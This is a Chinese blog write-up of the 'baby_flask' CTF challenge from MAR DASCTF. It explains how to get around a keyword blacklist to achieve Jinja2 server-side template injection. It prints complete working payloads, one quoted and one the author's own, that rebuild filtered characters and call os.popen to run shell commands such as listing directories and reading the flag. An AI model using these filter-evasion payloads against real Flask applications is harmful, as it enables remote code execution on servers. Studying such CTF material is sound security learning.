MAR DASCTF复现

baby_flask

blacklist</br>   
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'<

以上式过滤的关键字,看起来是啥都被过滤了需要绕过:

感觉对于函数还是一无所知,决定去啃一下flask框架的文档:
好了 ,啃完回来了,直接开始构造payload吧:
思路:
由于它过滤很多内容,所以我们先要将它过滤的内容以其他形式替换找出来:
举个栗子:
他过滤的数字我们可以用:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗来代替
我们先来贴一下一个大神的payload,再根据他的构造本题的payload:

#Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%} #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %} #builtins
{% set im = dict(imp=aa,ort=dd)|join() %} #import
{% set sy = dict(po=aa,pen=dd)|join() %} #popen
{% set os = dict(o=aa,s=dd)|join() %} #os
{% set ca = dict(ca=aa,t=dd)|join() %} #cat
{% set flg = dict(fl=aa,ag=dd)|join() %} #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%} #read
{% set bul = xhx*2~bu~xhx*2 %} #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}

参考:http://ctf.ieki.xyz/library/ssti.html

这里我就解析一下几个看不太懂的点:
1.__doc__的作用按我的理解是,调用app中的文档字符串,然后将它收入list当中,最后使用pop函数调用出来特定的我们需要的字符并使用string()函数将这个变量转化为字符串形式(感觉很巧妙,打开新思路了)。
2.接下来就是定义几个dict,然后使用join()函数将其进行拼接
3.最后就是实现调用

参考:https://blog.csdn.net/miuzzx/article/details/110220425

回看本题:过滤了pop()但是没过滤attr,attr可以获取对象的属性,这里我们可以将其理解为”作用”:

{%set a=dict(op=x,p=x)|join()%}#pop
{%set b=(()|select|string|list)|attr(a)(𝟐𝟒)%}#获取下划线_
{%set c=dict(b,b,dict(do=x,c=x)|join,b,b)join()%}#获取__doc__
{%set d=(x|attr(c)|list)|attr(a)(𝟑𝟑𝟕)%}#单引号,这里的x的意思我理解为是一个中转变量,为了后面的attr(a)做准备
{%set e=(x|attr(c)|list)|attr(a)(𝟐𝟔𝟒)%}#左括号
{%set f=(x|attr(c)|list)|attr(a)(𝟐𝟖𝟔)%}#右括号
{%set g=(x|attr(c)|list)|attr(a)(𝟑𝟐𝟎)%}#点
{%set h=(x|attr(c)|list)|attr(a)(𝟏𝟎𝟐)%}#空格
{%set i=(b,b,dict(in=x,it=x)|join,b,b)|join()%}#__init__
{%set j=(b,b,dict(glo=x,bals=x)|join,b,b)|join()%}#__globals__
{%set k=(b,b,dict(ge=x,titem=x)|join,b,b)|join()%}#__getitem__
{%set l=(b,b,dict(buil=x,tins=x)|join,b,b)|join()%}#__builtins__
{%set m=(b,b,dict(im=x,port=x)|join,b,b)|join()%}#__import__
{%set n=(x|attr(i)|attr(j)|string|list)|attr(a)(𝟑𝟒𝟗)%}#引入/
{%set o=dict(ev=x,al=x)|join()%}
{%set p=dict(o=x,s=x)|join()%}
{%set q=dict(po=x,pen=x)|join()%}
{%set r=dict(re=x,ad=x)|join()%}
{%set s=(dict(ls=x)|join,h,n,dict(var=x)|join,n,dict(www=x)|join,n,dict(flask=x)|join)|join()%}
{%set t=(m,e,d,p,d,f,g,q,e,d,s,d,f,g,r,e,f)|join()%}#使用import引入os模块,调用read()方法
{%set u=x|attr(i)|attr(j)|attr(k)(l)|attr(k)(o)(t)%}#熟悉的类继承利用链
{{u}}#执行此链

小结:

这次的复现有点迟,好在还是学到了很多东西,感觉ssti注入的最高等级应该就是东拼西凑了吧?可能是我还没遇到更难的题吧

Author

vague huang

Posted on

2021-04-07

Updated on

2021-05-20

Licensed under

Comments